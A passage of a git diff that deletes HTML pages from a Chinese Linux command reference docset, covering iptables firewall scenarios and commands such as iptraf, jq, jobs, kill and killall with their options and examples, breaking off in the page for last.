ftp: 默认被动模式(服务器产生随机端口告诉客户端, 客户端主动连接这个端口拉取数据) -vsftpd: 使 ftp 支持主动模式(客户端产生随机端口通知服务器, 服务器主动连接这个端口发送数据)

-
    -
  • 场景三
  • -
-

允许外网访问: -web -http -> 80/tcp; https -> 443/tcp -mail -smtp -> 25/tcp; smtps -> 465/tcp -pop3 -> 110/tcp; pop3s -> 995/tcp -imap -> 143/tcp

-

内部使用: -file -nfs -> 123/udp -samba -> 137/138/139/445/tcp -ftp -> 20/21/tcp -remote -ssh -> 22/tcp -sql -mysql -> 3306/tcp -oracle -> 1521/tcp

-
    -
  • 场景四
  • -
-

nat 转发

-
    -
  • 场景五
  • -
-

防CC攻击

-
iptables -L -F -A -D # list flush append delete
-# 场景一
-iptables -I INPUT -p tcp --dport 80 -j ACCEPT # 允许 tcp 80 端口
-iptables -I INPUT -p tcp --dport 10:22 -j ACCEPT # 允许 tcp 10-22 端口
-iptables -I INPUT -p icmp -j ACCEPT # 允许 icmp
-iptables -A INPUT -j REJECT # 添加一条规则, 不允许所有
-
-# 优化场景一
-iptables -I INPUT -i lo -j ACCEPT # 允许本机访问
-iptables -I INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT # 允许访问外网
-iptables -I INPUT -p tcp --dport 80 -s 10.10.188.233 -j ACCEPT # 只允许固定ip访问80
-
-# 场景二
-vi /etc/vsftpd/vsftpd.conf # 使用 vsftpd 开启 ftp 主动模式
-port_enable=yes
-connect_from_port_20=YES
-iptables -I INPUT -p tcp --dport 21 -j ACCEPT
-
-vi /etc/vsftpd/vsftpd.conf # 建议使用 ftp 被动模式
-pasv_min_port=50000
-pasv_max_port=60000
-iptables -I INPUT -p tcp --dport 21 -j ACCEPT
-iptables -I INPUT -p tcp --dport 50000:60000 -j ACCEPT
-
-# 还可以使用 iptables 模块追踪来自动开发对应的端口
-
-# 场景三
-iptables -I INPUT -i lo -j ACCEPT # 允许本机访问
-iptables -I INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT # 允许访问外网
-iptables -I INPUT -s 10.10.155.0/24 -j ACCEPT # 允许内网访问
-iptables -I INPUT -p tcp -m multiport --dports 80,1723 -j ACCEPT # 允许端口, 80 -> http, 1723 -> vpn
-iptables -A INPUT -j REJECT # 添加一条规则, 不允许所有
-
-iptables-save # 保存设置到配置文件
-
-# 场景四
-iptables -t nat -L # 查看 nat 配置
-
-iptables -t nat -A POST_ROUTING -s 10.10.177.0/24 -j SNAT --to 10.10.188.232 # SNAT
-vi /etc/sysconfig/network # 配置网关
-
-iptables -t nat -A POST_ROUTING -d 10.10.188.232 -p tcp --dport 80 -j DNAT --to 10.10.177.232:80 # DNAT
-
-#场景五
-iptables -I INPUT -p tcp --syn --dport 80 -m connlimit --connlimit-above 100 -j REJECT # 限制并发连接访问数
-iptables -I INPUT -m limit --limit 3/hour --limit-burst 10 -j ACCEPT # limit模块; --limit-burst 默认为5
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/iptraf.html b/linux-command.docset/Contents/Resources/Documents/c/iptraf.html deleted file mode 100644 index 90dd15f1e5..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/iptraf.html +++ /dev/null @@ -1,88 +0,0 @@ - - - - - - - - - - - iptraf 命令,Linux iptraf 命令详解:实时地监视网卡流量 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

iptraf

-

实时地监视网卡流量

-

补充说明

-

iptraf命令 可以实时地监视网卡流量,可以生成网络协议数据包信息、以太网信息、网络节点状态和ip校验和错误等信息。

-

语法

-
iptraf(选项)
-
-

选项

-
-i网络接口:立即在指定网络接口上开启IP流量监视;
--g:立即开始生成网络接口的概要状态信息;
--d网络接口:在指定网络接口上立即开始监视明细的网络流量信息;
--s网络接口:在指定网络接口上立即开始监视TCP和UDP网络流量信息;
--z网络接口:在指定网络接口上显示包计数;
--l网络接口:在指定网络接口上立即开始监视局域网工作站信息;
--t时间:指定iptraf指令监视的时间;
--B;将标注输出重新定向到“/dev/null”,关闭标注输入,将程序作为后台进程运行;
--f:清空所有计数器;
--h:显示帮助信息。
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/iptstate.html b/linux-command.docset/Contents/Resources/Documents/c/iptstate.html deleted file mode 100644 index 01c8525b75..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/iptstate.html +++ /dev/null @@ -1,87 +0,0 @@ - - - - - - - - - - - iptstate 命令,Linux iptstate 命令详解:显示iptables的工作状态 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

iptstate

-

显示iptables的工作状态

-

补充说明

-

iptstate命令 以top指令类似的风格时显示Linux内核中iptables的工作状态。

-

语法

-
iptstate(选项)
-
-

选项

-
-b:指定输出信息的排序规则;
--d:不动态地改变窗口大小;
--f:过滤本地回送信息;
--l:将ip地址解析为域名;
--L:隐藏于DNS查询相关状态;
--r:指定刷新屏幕的频率;
--R:反序排列;
--s:单次运行模式;
--t:显示汇总信息。
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/ispell.html b/linux-command.docset/Contents/Resources/Documents/c/ispell.html deleted file mode 100644 index d7626b6c21..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/ispell.html +++ /dev/null @@ -1,78 +0,0 @@ - - - - - - - - - - - ispell 命令,Linux ispell 命令详解:检查文件中出现的拼写错误 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

ispell

-

检查文件中出现的拼写错误

-

补充说明

-

ispell命令 用于检查文件中出现的拼写错误。

-

语法

-
ispell(参数)
-
-

参数

-

文件:指定要进行拼写检查的文件。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/jed.html b/linux-command.docset/Contents/Resources/Documents/c/jed.html deleted file mode 100644 index 451942f5f5..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/jed.html +++ /dev/null @@ -1,111 +0,0 @@ - - - - - - - - - - - jed 命令,Linux jed 命令详解:主要用于编辑代码的编辑器 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

jed

-

主要用于编辑代码的编辑器

-

补充说明

-

jed命令 是由Slang所开发,其主要用用途是编辑程序的源代码。它支持彩色语法加亮显示,可以模拟emacs,EDT,wordstar和Brief编辑器。

-

语法

-
jed(选项)(参数)
-
-

选项

-
-2:显示上下两个编辑区;
--batch:以批处理模式来执行;
--f<函数>:执行Slang函数;
--g<行数>:移到缓冲区中指定的行数;
--i<文件>:将指定的文件载入缓冲区;
--n:不要载入jed.rc配置文件;
--s<字符串>:查找并移到指定的字符串。
-
-

参数

-

文件:指定待编辑的文件列表。

-

实例

-

以上下两个编辑区的方式,开启 mysource.c 原始代码文件。若要切换编辑区,可利用稍后介绍的命令,开启操作命令,开启功能表后,按 3 ,再按 2 ,即可切换编辑区:

-
jed -2 mysource.c
-
-

操作

-

有些Emacs的组合键和jed菜单组合键冲突例如Alt+f在Emacs中应该是“前进一个单词”,而在jed中则是“文件菜单” 想使用Emacs风格的组合键的话,编辑/usr/share/jed/lib/menus.slc找到如下段落:

-
unsetsetkey ("selectmenubar", "\em");
-unsetsetkey ("@\emF", "\ef");
-unsetsetkey ("@\emE", "\ee");
-unsetsetkey ("@\emo", "\eo");
-% Mode menu unsetsetkey ("@\emS", "\es");
-unsetsetkey ("@\emB", "\eb");
-unsetsetkey ("@\emi", "\ei");
-unsetsetkey ("@\emH", "\eh");
-unset_setkey ("@\emy", "\ey");
-
-

可以根据自己的需要修改,也可以简单的注释掉;使用菜单可以用F10键。

-

由于Jed可模拟多种编辑器,其各自按键指令也有所不同。这里以模拟 Emacs 为例,说明在编辑器中的操作方法。

-

文件

-
/usr/share/jed/lib/*.sl 这是默认的运行jed slang的文件。
-/usr/share/jed/lib/site.sl 这是默认的启动文件。
-/etc/jed.rc 这是全局系统配置文件。
-~/.jedrc 这是用户配置文件。
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/jobs.html b/linux-command.docset/Contents/Resources/Documents/c/jobs.html deleted file mode 100644 index bb6a3ec28c..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/jobs.html +++ /dev/null @@ -1,132 +0,0 @@ - - - - - - - - - - - jobs 命令,Linux jobs 命令详解:显示作业的状态。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

jobs

-

显示作业的状态。

-

概要

-
jobs [-lnprs] [jobspec ...]
-jobs -x command [args]
-
-

主要用途

-
    -
  • 显示作业的状态。
  • -
  • 列出活动的作业。
  • -
  • 列出停止的作业。
  • -
-

选项

-
-l	在作业信息中额外的列出PID。
--n	只列出最近一次通知以来状态变更的作业。
--p	只列出PID。
--r	只输出处于运行状态的作业。
--s	只输出处于停止状态的作业。
-
-

返回值

-

返回状态为成功除非给出了非法选项、执行出现错误。

-

如果使用jobs -x command [args]形式执行,那么返回值为command的退出状态。

-

例子

-
[user2@pc] ssh 192.168.1.4
-pc@192.168.1.4's password:
-# 此时按下ctrl+z使得交互停止。
-[1]+  Stopped                 ssh 192.168.1.4
-
-[user2@pc] sleep 60 &
-[2] 13338
-
-[user2@pc] jobs
-[1]-  Stopped                 ssh 192.168.1.4
-[2]   Running                 sleep 60 &
-
-[user2@pc] jobs -l
-[1]- 12927 Stopped                 ssh 192.168.1.4
-[2]  13338 Running                 sleep 60 &
-
-[user2@pc] jobs -p
-12927
-13338
-
-[user2@pc] jobs -s
-[1]-  Stopped                 ssh 192.168.1.4
-
-[user2@pc] jobs -r
-[2]   Running                 sleep 60 &
-
-[user2@pc] kill -9 12927
-[2]   Done                    sleep 60
-
-[user2@pc] jobs -n -l
-[1]+ 12927 Killed             ssh 192.168.1.4
-
-[user2@pc] jobs -n -l
-
-

注意

-
    -
  1. bash的作业控制命令包括bg fg kill wait disown suspend
  2. -
  3. 该命令需要set选项monitor处于开启状态时才能执行;查看作业控制状态:输入set -o查看monitor行;执行set -o monitorset -m开启该选项。
  4. -
  5. 该命令是bash内建命令,相关的帮助信息请查看help命令。
  6. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/joe.html b/linux-command.docset/Contents/Resources/Documents/c/joe.html deleted file mode 100644 index 28f3803a16..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/joe.html +++ /dev/null @@ -1,102 +0,0 @@ - - - - - - - - - - - joe 命令,Linux joe 命令详解:强大的纯文本编辑器 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

joe

-

强大的纯文本编辑器

-

补充说明

-

joe命令 是一款功能强大的纯文本编辑器,拥有众多编写程序和文本的优良特性。

-

语法

-
joe(选项)(参数)
-
-

选项

-
-force:强制在最后一行的结尾处加上换行符号;
--lines<行数>:设置行数;
--lightoff:选取的区块在执行完区块命令后,就会恢复成原来的状态;
--autoindent:自动缩排;
--backpath:<目录>:指定备份文件的目录;
--beep:编辑时,若有错误即发出哔声;
--columns<栏位>:设置栏数;
--csmode:可执行连续查找模式;
--dopadding:是程序跟tty间存在缓冲区;
--exask:在程序中,执行“Ctrl+k+x”时,会先确认是否要保存文件;
--force:强制在最后一行的结尾处加上换行符号;
--help:执行程序时一并显示帮助;
--keepup:在进入程序后,画面上方为状态列;
--marking:在选取区块时,反白区块会随着光标移动;
--mid:当光标移出画面时,即自动卷页,使光标回到中央;
--nobackups:不建立备份文件;
--nonotice:程序执行时,不显示版本信息;
--nosta:程序执行时,不显示状态列;
--noxon:尝试取消“Ctrl+s”和“Ctrl+q”键的功能;
--orphan:若同时开启一个以上的文件,则其他文件会置于独立的缓冲区,而不会另外开启编辑区;
--pg<行数>:按“PageUp”或“PageDown”换页时,所要保留前一页的行数;
--skiptop<行数>:不使用屏幕上方指定的行数。
-
-

参数

-

文件:指定要编辑的文件。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/join.html b/linux-command.docset/Contents/Resources/Documents/c/join.html deleted file mode 100644 index c2004f7abf..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/join.html +++ /dev/null @@ -1,91 +0,0 @@ - - - - - - - - - - - join 命令,Linux join 命令详解:两个文件中指定栏位内容相同的行连接起来 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

join

-

两个文件中指定栏位内容相同的行连接起来

-

补充说明

-

join命令 用来将两个文件中,制定栏位内容相同的行连接起来。找出两个文件中,指定栏位内容相同的行,并加以合并,再输出到标准输出设备。

-

语法

-
join(选项)(参数)
-
-

选项

-
-a<12>:除了显示原来的输出内容之外,还显示指令文件中没有相同栏位的行;
--e<字符串>:若[文件1][文件2]中找不到指定的栏位,则在输出中填入选项中的字符串;
--i或--ignore-case:比较栏位内容时,忽略大小写的差异;
--o<格式>:按照指定的格式来显示结果;
--t<字符>:使用栏位的分割字符;
--v<12>:更-a相同,但是只显示文件中没有相同栏位的行;
--1<栏位>:连接[文件1]指定的栏位;
--2<栏位>:连接[文件2]指定的栏位。
-
-

参数

-
    -
  • 文件1:要进行合并操作的第1个文件参数;
  • -
  • 文件2:要进行合并操作的第2个文件参数。
  • -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/jq.html b/linux-command.docset/Contents/Resources/Documents/c/jq.html deleted file mode 100644 index 31c4c4161a..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/jq.html +++ /dev/null @@ -1,203 +0,0 @@ - - - - - - - - - - - jq 命令,Linux jq 命令详解:一个灵活的轻量级命令行JSON处理器 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

jq

-

一个灵活的轻量级命令行JSON处理器

-

补充说明

-

jq 是 stedolan 开发的一个轻量级的和灵活的命令行JSON处理器,源码请参考 jq 项目主页

-

jq 用于处理JSON输入,将给定过滤器应用于其JSON文本输入并在标准输出上将过滤器的结果生成为JSON。

-

最简单的过滤器是.,它将jq的输入未经修改地复制到其输出中(格式设置除外)。

-

请注意,jq 当前仅支持64位双精度浮点数(IEEE754)。

-

安装

-
# Debian系,如 Ubuntu
-sudo apt-get install jq
-
-# RedHat系, 如 CentOS
-yum install jq
-
-

语法

-
jq [options] <jq filter> [file...]
-jq [options] --args <jq filter> [strings...]
-jq [options] --jsonargs <jq filter> [JSON_TEXTS...]
-
-

选项

-
-c               紧凑而不是漂亮的输出;
--n               使用`null`作为单个输入值;
--e               根据输出设置退出状态代码;
--s               将所有输入读取(吸取)到数组中;应用过滤器;
--r               输出原始字符串,而不是JSON文本;
--R               读取原始字符串,而不是JSON文本;
--C               为JSON着色;
--M               单色(不要为JSON着色);
--S               在输出上排序对象的键;
---tab            使用制表符进行缩进;
---arg a v        将变量$a设置为value<v>;
---argjson a v    将变量$a设置为JSON value<v>;
---slurpfile a f  将变量$a设置为从<f>读取的JSON文本数组;
---rawfile a f    将变量$a设置为包含<f>内容的字符串;
---args           其余参数是字符串参数,而不是文件;
---jsonargs       其余的参数是JSON参数,而不是文件;
---               终止参数处理;
-
-

例子

-

.: 以漂亮的方式输出

-
$ echo '{ "foo": { "bar": { "baz": 123 } } }' | jq '.'
-{
-  "foo": {
-    "bar": {
-      "baz": 123
-    }
-  }
-}
-
-
-

.foo, .foo.bar, .foo?: 获取一个键的值

-
$ echo '{"foo": 42, "bar": "less interesting data"}' | jq '.foo'
-42
-
-

.[], .[]?, .[2], .[10:15]: 数组运算

-
$ echo '[{"name":"JSON", "good":true}, {"name":"XML", "good":false}]' | jq '.[1]'
-{
-  "name": "XML",
-  "good": false
-}
-
-
-

[], {}: 构造一个数组/对象

-
$ echo '{"user":"stedolan","titles":["JQ Primer", "More JQ"]}' | jq '{user, title: .titles[]}'
-
-{
-  "user": "stedolan",
-  "title": "JQ Primer"
-}
-{
-  "user": "stedolan",
-  "title": "More JQ"
-}
-
-
-

length: 计算一个值的长度

-
$ echo '[[1,2], "string", {"a":2}, null]' | jq '.[] | length'                                  
-2
-6
-1
-0
-
-
-

keys: 取出数组中的键

-
$ echo '{"abc": 1, "abcd": 2, "Foo": 3}' | jq 'keys'                                        
-[
-  "Foo",
-  "abc",
-  "abcd"
-]
-
-
-

,: 使用多个过滤器

-
$ echo '{ "foo": 42, "bar": "something else", "baz": true}' | jq '.foo, .bar' 
-42
-"something else"
-
-
-

|: 通过管道将一个过滤器的输出当做下一个过滤器的输入

-
$ echo '[{"name":"JSON", "good":true}, {"name":"XML", "good":false}]' | jq '.[] | .name'                                                 
-"JSON"
-"XML"
-
-
-

select(foo): 如果foo返回true,则输入保持不变

-
$ echo '[1,5,3,0,7]' | jq 'map(select(. >= 2))'                                                    
-[
-  5,
-  3,
-  7
-]
-
-
-

map(foo): 每个输入调用过滤器

-
$ echo '[1,2,3]' | jq 'map(.+1)'
-[
-  2,
-  3,
-  4
-]
-
-
-

if-then-else-end: 条件判断

-
 $ echo '2' | jq 'if . == 0 then "zero" elif . == 1 then "one" else "many" end'
-
-"many"
-
-
-

\(foo): 在字符串中插入值并进行运算

-
$ echo '42' | jq '"The input was \(.), which is one less than \(.+1)"'          
-
-"The input was 42, which is one less than 43"
-
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/jwhois.html b/linux-command.docset/Contents/Resources/Documents/c/jwhois.html deleted file mode 100644 index 20a43f6b4e..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/jwhois.html +++ /dev/null @@ -1,112 +0,0 @@ - - - - - - - - - - - jwhois 命令,Linux jwhois 命令详解:whois 客户端服务 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

jwhois

-

whois 客户端服务

-

补充说明

-

jwhois searches Whois servers for the object on the command line.The host to query is taken from a global configuration file, a configuration file specified on the command line, or selected directly on the command line.

-

语法

-
jwhois [选项]
-
-

选项

-
--version                  display version number and patch level
---help                     display this help
--v, --verbose              verbose debug output
--c FILE, --config=FILE     use FILE as configuration file
--h HOST, --host=HOST       explicitly query HOST
--n, --no-redirect          disable content redirection
--s, --no-whoisservers      disable whois-servers.net service support
--a, --raw                  disable reformatting of the query
--i, --display-redirections display all redirects instead of hiding them
--p PORT, --port=PORT       use port number PORT (in conjunction with HOST)
--r, --rwhois               force an rwhois query to be made
---rwhois-display=DISPLAY   sets the display option in rwhois queries
---rwhois-limit=LIMIT       sets the maximum number of matches to return
-
-
-

注:以上英文部分寻求网友协助翻译,翻译结果可发送至 sa(at)linuxde.net,谢谢!

-
-

实例

-

显示指定用户信息:

-
 jwhois root
-
-# 查找root用户信息
-
-

查询域名信息:

-
[root@localhost ~] jwhois linuxde.net
-[Querying whois.verisign-grs.com]
-[Redirected to whois.west263.com]
-[Querying whois.west263.com]
-[whois.west263.com]
-Domain Name: linuxde.net                   
-Registry Domain id: whois protect
-Registrar WHOIS Server: whois.west263.com
-
-...省略部分内容
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/kernelversion.html b/linux-command.docset/Contents/Resources/Documents/c/kernelversion.html deleted file mode 100644 index be944a137d..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/kernelversion.html +++ /dev/null @@ -1,76 +0,0 @@ - - - - - - - - - - - kernelversion 命令,Linux kernelversion 命令详解:打印当前内核的主版本号 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

kernelversion

-

打印当前内核的主版本号

-

补充说明

-

kernelversion命令 用于打印当前内核的主版本号。

-

语法

-
kernelversion
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/kexec.html b/linux-command.docset/Contents/Resources/Documents/c/kexec.html deleted file mode 100644 index c29ed0fed8..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/kexec.html +++ /dev/null @@ -1,84 +0,0 @@ - - - - - - - - - - - kexec 命令,Linux kexec 命令详解:从当前正在运行的内核引导到一个新内核 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

kexec

-

从当前正在运行的内核引导到一个新内核

-

补充说明

-

kexec命令 是Linux内核的一个补丁,让您可以从当前正在运行的内核直接引导到一个新内核。在上面描述的引导序列中,kexec跳过了整个引导装载程序阶段(第一部分)并直接跳转到我们希望引导到的内核。不再有硬件的重启,不再有固件操作,不再涉及引导装载程序。完全避开了引导序列中最弱的一环 -- 固件。这一功能部件带来的最大益处在于,系统现在可以极其快速地重新启动。

-

kexec的好处: 要求高可用性的系统,以及需要不断重新启动系统的内核开发人员,都将受益于kexec。因为 kexec跳过了系统重新启动过程中最耗时的部分(也就是固件初始化硬件设备的阶段),所以重新启动变得非常快,可用性得到了提高。

-

语法

-
kexec(选项)
-
-

选项

-
-l:指定内核映像文件;
--e:允许当前被加载的内核;
--f:强制立即调用系统调用“kexec”,而不调用“shutdown”;
--t:指定新内核的类型;
--u:卸载当前的kexec目标内核。
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/kill.html b/linux-command.docset/Contents/Resources/Documents/c/kill.html deleted file mode 100644 index 57f8fefb2a..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/kill.html +++ /dev/null @@ -1,224 +0,0 @@ - - - - - - - - - - - kill 命令,Linux kill 命令详解:发送信号到进程。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

kill

-

发送信号到进程。

-

目录

- -

内建命令

-

概要

-
kill [-s sigspec | -n signum | -sigspec] pid | jobspec ...
-kill -l [sigspec]
-
-

主要用途

-
    -
  • 发送信号到作业或进程(可以为多个)。
  • -
  • 列出信号。
  • -
-

选项

-
-s sig    信号名称。
--n sig    信号名称对应的数字。
--l        列出信号名称。如果在该选项后提供了数字那么假设它是信号名称对应的数字。
--L        等价于-l选项。
-
-

参数

-

pid:进程ID

-

jobspec:作业标识符

-

返回值

-

返回状态为成功除非给出了非法选项、执行出现错误。

-

例子

-
[user2@pc] kill -l 9
-KILL
-
-# 列出所有信号名称:
-[user2@pc] kill -l
- 1) SIGHUP       2) SIGINT       3) SIGQUIT      4) SIGILL
- 5) SIGTRAP      6) SIGABRT      7) SIGBUS       8) SIGFPE
- 9) SIGKILL     10) SIGUSR1     11) SIGSEGV     12) SIGUSR2
-13) SIGPIPE     14) SIGALRM     15) SIGTERM     16) SIGSTKFLT
-17) SIGCHLD     18) SIGCONT     19) SIGSTOP     20) SIGTSTP
-21) SIGTTIN     22) SIGTTOU     23) SIGURG      24) SIGXCPU
-25) SIGXFSZ     26) SIGVTALRM   27) SIGPROF     28) SIGWINCH
-29) SIGIO       30) SIGPWR      31) SIGSYS      34) SIGRTMIN
-35) SIGRTMIN+1  36) SIGRTMIN+2  37) SIGRTMIN+3  38) SIGRTMIN+4
-39) SIGRTMIN+5  40) SIGRTMIN+6  41) SIGRTMIN+7  42) SIGRTMIN+8
-43) SIGRTMIN+9  44) SIGRTMIN+10 45) SIGRTMIN+11 46) SIGRTMIN+12
-47) SIGRTMIN+13 48) SIGRTMIN+14 49) SIGRTMIN+15 50) SIGRTMAX-14
-51) SIGRTMAX-13 52) SIGRTMAX-12 53) SIGRTMAX-11 54) SIGRTMAX-10
-55) SIGRTMAX-9  56) SIGRTMAX-8  57) SIGRTMAX-7  58) SIGRTMAX-6
-59) SIGRTMAX-5  60) SIGRTMAX-4  61) SIGRTMAX-3  62) SIGRTMAX-2
-63) SIGRTMAX-1  64) SIGRTMAX
-
-# 下面是常用的信号。
-# 只有第9种信号(SIGKILL)才可以无条件终止进程,其他信号进程都有权利忽略。
-
-HUP     1    终端挂断
-INT     2    中断(同 Ctrl + C)
-QUIT    3    退出(同 Ctrl + \)
-KILL    9    强制终止
-TERM   15    终止
-CONT   18    继续(与STOP相反,fg/bg命令)
-STOP   19    暂停(同 Ctrl + Z)
-
-
# 以下发送KILL信号的形式等价。当然还有更多的等价形式,在此不一一列举了。
-[user2@pc] kill -s SIGKILL PID
-[user2@pc] kill -s KILL PID
-[user2@pc] kill -n 9 PID
-[user2@pc] kill -9 PID
-
-[user2@pc] sleep 90 &
-[1] 178420
-
-# 终止作业标识符为1的作业。
-[user2@pc] kill -9 %1
-
-[user2@pc] jobs -l
-[1]+ 178420 KILLED                  ssh 192.168.1.4
-
-[user2@pc] sleep 90 &
-[1] 181357
-
-# 发送停止信号。
-[user2@pc] kill -s STOP 181357
-
-[user2@pc] jobs -l
-[1]+ 181537 Stopped (signal)        sleep 90
-
-# 发送继续信号。
-[user2@pc] kill -s CONT 181357
-
-[user2@pc] jobs -l
-[1]+ 181537 Running                 sleep 90 &
-
-

注意

-
    -
  1. bash的作业控制命令包括bg fg kill wait disown suspend
  2. -
  3. 该命令是bash内建命令,相关的帮助信息请查看help命令。
  4. -
-

外部命令

-

概要

-
kill [-signal|-s signal|-p] [-q value] [-a] [--] pid|name...
-kill -l [number] | -L
-
-

主要用途

-
    -
  • -

    发送信号到进程(可以为多个)。

    -
  • -
  • -

    列出信号。

    -
  • -
-

选项

-
-s, --signal signal    要发送的信号,可能是信号名称或信号对应的数字。
--l, --list [number]    打印信号名称或转换给定数字到信号名称。信号名称可参考文件(/usr/include/linux/signal.h)。
--L, --table            和'-l'选项类似,但是输出信号名称以及信号对应的数字。
--a, --all              不要限制“命令名到pid”的转换为具有与当前进程相同的UID的进程。
--p, --pid              打印目标进程的PID而不发送信号。
---verbose              打印信号以及接收信号的PID。
--q, --queue value      使用sigqueue(3)而不是kill(2)。参数value是信号对应的数字。
-                           如果接收进程已为此信号安装了处理程序将SA_SIGINFO标记为sigaction(2),则可以获取
-                           该数据通过siginfo_t结构的si_sigval字段。
---help                 显示帮助信息并退出。
---version              显示版本信息并退出。
-
-

参数

-

接收信号的进程列表可以是PID以及name的混合组成。

-

PID:每一个PID可以是以下四种情况之一:

-

状态|说明 -:--:|:--: -n | 当n大于0时,PID为n的进程接收信号。 -0 | 当前进程组中的所有进程均接收信号。 --1 | PID大于1的所有进程均接收信号。 --n | 当n大于1时,进程组n中的所有进程接收信号。当给出了一个参数的形式为“-n”,想要让它表示一个进程组,那么必须首先指定一个信号,或参数前必须有一个“--”选项,否则它将被视为发送的信号。

-

name:使用此名称调用的所有进程将接收信号。

-

例子

-
> sleep 20 &
-
-# 列出对应的PID。
-> kill -p sleep
-23021
-
-

返回值

-
    -
  • 0 成功。
  • -
  • 1 失败。
  • -
  • 64 部分成功(当指定了多个进程时)。
  • -
-

注意

-
    -
  1. 该命令是GNU coreutils包中的命令,相关的帮助信息请查看man -s 1 killinfo coreutils 'kill invocation'
  2. -
  3. 启动或关闭内建命令请查看enable命令,关于同名优先级的问题请查看builtin命令的例子部分的相关讨论。
  4. -
  5. kill命令类似的有xkillpkill,killall等,用于不同的目的和场景。
  6. -
-

参考链接

-

发送信号到进程

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/killall.html b/linux-command.docset/Contents/Resources/Documents/c/killall.html deleted file mode 100644 index aa3633af20..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/killall.html +++ /dev/null @@ -1,93 +0,0 @@ - - - - - - - - - - - killall 命令,Linux killall 命令详解:使用进程的名称来杀死一组进程 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

killall

-

使用进程的名称来杀死一组进程

-

补充说明

-

killall命令 使用进程的名称来杀死进程,使用此指令可以杀死一组同名进程。我们可以使用kill命令杀死指定进程PID的进程,如果要找到我们需要杀死的进程,我们还需要在之前使用ps等命令再配合grep来查找进程,而killall把这两个过程合二为一,是一个很好用的命令。

-

语法

-
killall(选项)(参数)
-
-

选项

-
-e:对长名称进行精确匹配;
--l:忽略大小写的不同;
--p:杀死进程所属的进程组;
--i:交互式杀死进程,杀死进程前需要进行确认;
--l:打印所有已知信号列表;
--q:如果没有进程被杀死。则不输出任何信息;
--r:使用正规表达式匹配要杀死的进程名称;
--s:用指定的进程号代替默认信号“SIGTERM”;
--u:杀死指定用户的进程。
-
-

参数

-

进程名称:指定要杀死的进程名称。

-

实例

-

杀死所有同名进程

-
killall vi
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/last.html b/linux-command.docset/Contents/Resources/Documents/c/last.html deleted file mode 100644 index c4b8d5d5f0..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/last.html +++ /dev/null @@ -1,103 +0,0 @@ - - - - - - - - - - - last 命令,Linux last 命令详解:列出目前与过去登入系统的用户相关信息 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

last

-

列出目前与过去登入系统的用户相关信息

-

补充说明

-

last命令 用于显示用户最近登录信息。单独执行last命令,它会读取/var/log/wtmp的文件,并把该给文件的内容记录的登入系统的用户名单全部显示出来。

-

语法

-
last(选项)(参数)
-
-

选项

-
-a:把从何处登入系统的主机名称或ip地址,显示在最后一行;
